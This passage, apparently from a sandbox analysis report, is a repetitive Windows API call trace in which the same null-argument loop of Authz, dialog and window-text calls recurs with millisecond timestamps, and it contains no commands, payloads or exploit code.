0x0 [0025.659] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.659] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.659] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.659] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.659] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.659] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.660] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.660] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.660] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.660] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.660] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.660] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.660] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.660] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.660] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.660] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.660] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.661] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.661] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.661] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.661] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.661] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.661] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.661] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.661] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.661] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.661] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.661] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.661] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.662] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.662] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.662] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.662] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.662] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.662] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.662] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.662] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.662] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.662] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.662] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.663] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.663] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.663] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.663] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.663] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.663] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.663] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.663] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.663] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.663] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.663] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.663] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.664] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.664] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.664] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.664] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.664] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.664] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.664] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.664] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.664] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.664] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.664] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.664] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.665] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.665] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.665] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.665] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.665] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.665] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.665] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.665] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.665] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.665] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.665] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.666] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.666] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.666] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.666] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.666] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.666] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] 